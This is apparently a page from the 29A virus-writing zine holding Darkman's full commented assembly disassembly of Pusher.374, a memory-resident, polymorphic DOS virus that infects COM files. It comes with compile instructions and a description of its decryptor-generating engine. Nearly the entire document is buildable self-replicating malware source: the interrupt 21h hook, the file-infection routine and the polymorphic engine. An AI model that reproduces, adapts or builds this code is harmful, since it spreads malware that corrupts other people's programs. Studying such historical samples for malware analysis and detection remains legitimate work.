Copy Link
Add to Bookmark
Report
29A Issue 03 05 15
comment *
Pusher.374 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Pusher.374 is a 374 bytes resident appending COM virus, it infects files at
load and execute program. Pusher.374 is polymorphic in file using its
internal polymorphic engine.
I would like to thank Poltergeist for providing me the binary of this virus.
Compile Pusher.374 with Turbo Assembler v 5.0 by typing:
TASM /M PUSH_374.ASM
TLINK /x PUSH_374.OBJ
EXE2BIN PUSH_374.EXE PUSH_374.COM
*
.model tiny
.code
code_begin:
call delta_offset
origin_code db 11001101b,00100000b,?
db '[PUSH]' ; Name of the virus
delta_offset:
pop si ; Load SI from stack
mov di,100h ; DI = offset of beginning of code
push di ; Save DI at stack
movsb ; Move the original code to beginning
movsw ; " " " " " "
mov ax,0b8cdh ; Pusher.374 function
int 21h
dec si ; SI = delta offset
dec si ; " " " "
dec si ; " " " "
dec si ; " " " "
dec si ; " " " "
dec si ; " " " "
inc ax ; Already resident?
jz virus_exit ; Zero? Jump to virus_exit
push ds es ; Save segments at stack
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [si+int21_addr+02h],es
mov word ptr [si+int21_addr],bx
pop es ; Load ES from stack
push es ; Save ES at stack
mov ah,4ah ; Resize memory block
mov bx,0ffffh ; BX = new size in paragraphs
int 21h
mov ah,4ah ; Resize memory block
sub bx,(data_end-code_begin+0fh)/10h+01h
int 21h
mov ah,48h ; Allocate memory
mov bx,(data_end-code_begin+0fh)/10h
int 21h
mov di,01h ; DI = PSP segment of owner or spe...
dec ax ; AX = segment of current Memory C...
mov es,ax ; ES = " " " " "
inc ax ; AX = segment of Program Segment ...
stosw ; Store Program Segment Prefix (PSP)
mov di,10h ; DI = offset of virus
mov cx,(code_end-code_begin)/02h
rep movsw ; Move the virus to top of memory
mov ds,ax ; DS = segment of virus
lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h
pop es ds ; Load registers from stack
virus_exit:
ret (code_end-code_begin)
virus_offset equ word ptr $+01h ; Offset of virus within infected ...
infect_code db 11101001b,?,? ; JMP imm16 (opcode 0e9h)
int21_virus proc near ; Interrupt 21h of Pusher.374
cmp ax,0b8cdh ; Pusher.374 function?
jne not_push_fun ; Not equal? Jump to not_push_fun
mov ax,0ffffh ; Already resident
iret ; Interrupt return
infect_file proc near ; Infect COM file
mov ax,4202h ; Set current file position (EOF)
call set_file_pos
dec ax ; AX = offset of virus within infe...
dec ax ; " " " " " " "
dec ax ; " " " " " " "
mov [virus_offset],ax ; Store offset of virus within inf...
push bx ; Save BX at stack
call push_poly
pop bx ; Load BX from stack
mov ah,40h ; Write to file
int 21h
mov ax,4200h ; Set current file position (SOF)
set_file_pos proc near ; Set current file position (EOF)
cwd ; Zero DX
get_file_att proc near ; Get file attributes
xor cx,cx ; Zero CX
int 21h
ret ; Return
endp
endp
endp
random_num dw 1100001111000011b ; 16-bit random number
not_push_fun:
cmp ax,4b00h ; Load and execute program?
push ax bx ; Save registers at stack
jne int21_exit ; Not equal? Jump to int21_exit
mov ah,43h ; Get file attributes
int 21h
jc int21_exit ; Error? Jump to int21_exit
mov ax,4301h ; Get file attributes
push ax cx dx ds ; Save registers at stack
call get_file_att
jc set_file_att ; Error? Jump to set_file_att
mov ax,3d02h ; Open file (read/write)
int 21h
jc set_file_att ; Error? Jump to set_file_att
xchg ax,bx ; BX = file handle
mov ax,5700h ; Get file's date and time
int 21h
jc close_file ; Error? Jump to close_file
db 10001001b,11001000b ; MOV AX,CX (opcode 89h,0c8h)
and ax,0000000000011111b
dec ax ; Already infected?
jz close_file ; Zero? Jump to close_file
push cx dx ; Save registers at stack
mov cx,03h ; Read three bytes
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ah,3fh ; Read from file
mov dx,cx ; DX = offset of origin_code
int 21h
jc set_inf_mark ; Error? Jump to set_inf_mark
cmp [origin_code],'M' ; EXE signature?
je set_inf_mark ; Found EXE signature? Jump to set...
call infect_file
lea dx,infect_code ; DX = offset of infect_code
mov cx,03h ; Write three bytes
mov ah,40h ; Write to file
int 21h
set_inf_mark:
pop dx ax ; Load registers from stack
and al,11100000b ; AL = new time
xchg ax,cx ; CX = " "
inc cx ; " " " "
mov ax,5701h ; Set file's date and time
xor [random_num],ax ; Store 16-bit random number
int 21h
close_file:
mov ah,3eh ; Close file
int 21h
set_file_att:
pop ds dx cx ax ; Load registers from stack
int 21h
int21_exit:
pop bx ax ; Load registers from stack
jmp int21_exit_
comment *
Pusher.374 (polymorphic engine) ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
Garbage instructions:
INC AX; DEC AX; MOV AL,imm8; MOV AH,imm8; ADD AX,imm16; SUB AX,imm16
Decryptor:
MOV AX,imm16 (Two bytes of the virus)
PUSH AX
INC AX
PUSH AX
MOV AL,imm8
PUSH AX
MOV AH,imm8
PUSH AX
ADD AX,imm16
PUSH AX
SUB AX,imm16
PUSH AX
...
JMP SP
Minimum length of decryptor Depends on the virus length.
Maximum length of decryptor Depends on the virus length.
Length of Pusher.374 (polymorphic engine): 111 bytes.
*
push_poly proc near ; Pusher.374 (polymorphic engine)
lea di,data_buffer ; DI = offset of data_buffer
pushf ; Save flags at stack
push di ; Save DI at stack
in ax,40h ; AX = 16-bit random number
xchg ax,bp ; BP = " " "
mov dx,(code_end-code_begin+02h)/02h
lea si,[di-02h] ; SI = offset of end of virus
std ; Set direction flag
lodsw ; AX = two bytes of the virus
mov byte ptr [di],10111000b
inc di ; DI = offset of 16-bit immediate
mov [di],ax ; Store 16-bit immediate
next_instr:
inc di ; DI = offset of next instruction
next_instr_:
inc di ; DI = " " " "
gen_push_ax:
dec dx ; Finnished generating the polymor..?
jnz gen_inc_ax ; Not zero? Jump to gen_inc_ax
mov [di],1110010011111111b
inc di ; DI = offset of next instruction
pop dx ; Load DX from stack
inc di ; DI = offset of next instruction
sub di,dx ; DI = length of decryptor + encry...
mov cx,di ; CX = " " " " "
popf ; Load flags from stack
ret ; Return
gen_inc_ax:
mov byte ptr [di],01010000b
inc di ; DI = offset of next instruction
xchg ax,bx ; BX = previous two bytes of the v...
lodsw ; AX = two bytes of the virus
db 10001001b,11000001b ; MOV CX,AX (opcode 89h,0c1h)
db 00101001b,11011001b ; SUB CX,BX (opcode 29h,0d9h)
jz gen_push_ax ; Zero? Jump to gen_push_ax
loop gen_dec_ax
mov byte ptr [di],01000000b
jmp next_instr_
gen_dec_ax:
inc cx ; Increase difference between prev...
inc cx ; " " " "
jnz gen_mov_al ; Not zero? Jump to gen_mov_al
mov byte ptr [di],01001000b
jmp next_instr_
gen_mov_al:
dec cx ; Decrease difference between prev...
db 00111000b,11111100b ; CMP AH,BH (opcode 38h,0fch)
jne gen_mov_ah ; Not equal? Jump to gen_mov_ah
mov byte ptr [di],10110000b
inc di ; DI = offset of 8-bit immediate
mov [di],al ; Store 8-bit immediate
jmp next_instr_
gen_mov_ah:
db 00111000b,11011000b ; CMP AL,BL (opcode 38h,0d8h)
jne gen_add_ax ; Not equal? Jump to gen_add_ax
mov byte ptr [di],10110100b
inc di ; DI = offset of 8-bit immediate
mov [di],ah ; Store 8-bit immediate
jmp next_instr_
gen_add_ax:
mov byte ptr [di],00000101b
inc bp ; Increase 16-bit random number
rol bp,01h ; Rotate 16-bit random number one ...
jnc gen_add_ax_ ; Carry? Jump to gen_add_ax_
mov byte ptr [di],00101101b
neg cx ; Negate 16-bit immediate
gen_add_ax_:
inc di ; DI = offset of 16-bit immediate
mov [di],cx ; Store 16-bit immediate
jmp next_instr
endp
int21_exit_:
db 11101010b ; JMP imm32 (opcode 0eah)
int21_addr dd ? ; Address of interrupt 21h
endp
code_end:
data_buffer db 38ah dup(?) ; Data buffer
data_end:
end code_begin